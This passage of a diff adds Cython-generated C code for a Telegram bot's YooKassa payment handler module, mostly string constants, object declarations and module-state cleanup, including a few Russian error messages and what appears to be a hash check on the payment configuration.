char __pyx_k_payment_object[] = "payment_object"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_YOOKASSA_ENABLE[] = "YOOKASSA_ENABLE"; +static const char __pyx_k_YOOKASSA_HASH_2[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 YOOKASSA_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_yookassa_amount[] = "yookassa_amount|"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_YOOKASSA_SHOP_ID[] = "YOOKASSA_SHOP_ID"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_confirmation_url[] = "confirmation_url"; +static const char __pyx_k_yookassa_webhook[] = "yookassa_webhook"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_YOOKASSA_SECRET_KEY[] = "YOOKASSA_SECRET_KEY"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_PIRAT4ETO5DLYA0TEBYA[] = "PIRAT4ETO5DLYA0TEBYA"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_choosing_amount_yookassa[] = "choosing_amount_yookassa"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_yookassa[] = "enter_custom_amount_yookassa"; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_process_callback_pay_yookassa[] = "process_callback_pay_yookassa"; +static const char __pyx_k_handlers_payments_yookassa_pay[] = "handlers.payments.yookassa_pay"; +static const char __pyx_k_entering_custom_amount_yookassa[] = "entering_custom_amount_yookassa"; +static const char __pyx_k_https_pocomacho_ru_success_html[] = "https://pocomacho.ru/success.html"; +static const char __pyx_k_handlers_payments_yookassa_pay_p[] = "handlers/payments/yookassa_pay.py"; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_yookassa"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_process_callback_pay_yookassa(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + PyObject *__pyx_kp_u_1_00; + PyObject *__pyx_kp_u_79000000000; + PyObject *__pyx_kp_u_API_Yookassa; + PyObject *__pyx_kp_u_Account_ID; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_Configuration; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_kp_u_ID; + PyObject *__pyx_kp_u_ID_2; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_MAIN_SECRET; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_n_u_PIRAT4ETO5DLYA0TEBYA; + PyObject *__pyx_n_s_Payment; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_u_RUB; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_kp_u_Secret_Key; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u_Webhook_event_received; + PyObject *__pyx_n_s_YOOKASSA_ENABLE; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_kp_u_YOOKASSA_HASH_2; + PyObject *__pyx_n_s_YOOKASSA_SECRET_KEY; + PyObject *__pyx_n_s_YOOKASSA_SHOP_ID; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__11; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__14; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__17; + PyObject *__pyx_kp_u__18; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_kp_u__23; + PyObject *__pyx_kp_u__24; + PyObject *__pyx_n_s__25; + PyObject *__pyx_kp_u__26; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_n_s__33; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_kp_u__8; + PyObject *__pyx_n_u__9; + PyObject *__pyx_n_s_account_id; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_u_capture; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_yookassa; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_u_confirmation; + PyObject *__pyx_n_u_confirmation_url; + PyObject *__pyx_n_s_create; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_u_customer; + PyObject *__pyx_n_s_customer_email; + PyObject *__pyx_n_s_customer_id; + PyObject *__pyx_n_s_customer_name; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_u_description; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_n_u_email; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_yookassa; + PyObject *__pyx_n_s_entering_custom_amount_yookassa; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_event; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_n_s_find_one; + PyObject *__pyx_n_s_from_user; + PyObject *__pyx_n_s_full_name; + PyObject *__pyx_n_u_full_name; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_payments_yookassa_pay; + PyObject *__pyx_kp_s_handlers_payments_yookassa_pay_p; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_kp_u_https_pocomacho_ru_success_html; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_u_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_u_items; + PyObject *__pyx_n_s_json; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_metadata; + PyObject *__pyx_n_u_metadata; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_u_object; + PyObject *__pyx_n_s_paid; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_yookassa; + PyObject *__pyx_n_s_payment; + PyObject *__pyx_n_s_payment_id; + PyObject *__pyx_n_s_payment_object; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_u_pending; + PyObject *__pyx_n_u_phone; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_yookassa; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_u_quantity; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_u_receipt; + PyObject *__pyx_n_u_redirect; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_u_return_url; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_secret_key; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_kp_u_solo_net; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_u_status; + PyObject *__pyx_n_u_succeeded; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_u_type; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_n_u_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_uuid; + PyObject *__pyx_n_s_uuid4; + PyObject *__pyx_n_u_value; + PyObject *__pyx_n_u_vat_code; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_warning; + PyObject *__pyx_n_s_web; + PyObject *__pyx_n_u_yookassa; + PyObject *__pyx_n_s_yookassa_2; + PyObject *__pyx_n_u_yookassa_2; + PyObject *__pyx_kp_u_yookassa_amount; + PyObject *__pyx_n_s_yookassa_webhook; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__19; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__28; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__30; + PyObject *__pyx_tuple__31; + PyObject *__pyx_tuple__32; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__13; + PyObject *__pyx_codeobj__16; + PyObject *__pyx_codeobj__20; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_1_00); + Py_CLEAR(clear_module_state->__pyx_kp_u_79000000000); + Py_CLEAR(clear_module_state->__pyx_kp_u_API_Yookassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_Configuration); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_kp_u_ID); + Py_CLEAR(clear_module_state->__pyx_kp_u_ID_2); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_SECRET); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_u_PIRAT4ETO5DLYA0TEBYA); + Py_CLEAR(clear_module_state->__pyx_n_s_Payment); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_u_RUB); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_kp_u_Secret_Key); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u_Webhook_event_received); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SECRET_KEY); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_SHOP_ID); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__24); + Py_CLEAR(clear_module_state->__pyx_n_s__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_n_s__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_n_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_account_id); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_u_capture); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_u_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_u_confirmation_url); + Py_CLEAR(clear_module_state->__pyx_n_s_create); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_u_customer); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_email); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_id); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_name); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_u_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_n_u_email); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_event); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_find_one); + Py_CLEAR(clear_module_state->__pyx_n_s_from_user); + Py_CLEAR(clear_module_state->__pyx_n_s_full_name); + Py_CLEAR(clear_module_state->__pyx_n_u_full_name); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yookassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_yookassa_pay_p); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_pocomacho_ru_success_html); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_u_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_u_items); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_metadata); + Py_CLEAR(clear_module_state->__pyx_n_u_metadata); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_u_object); + Py_CLEAR(clear_module_state->__pyx_n_s_paid); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_id); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_object); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_u_pending); + Py_CLEAR(clear_module_state->__pyx_n_u_phone); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_yookassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + 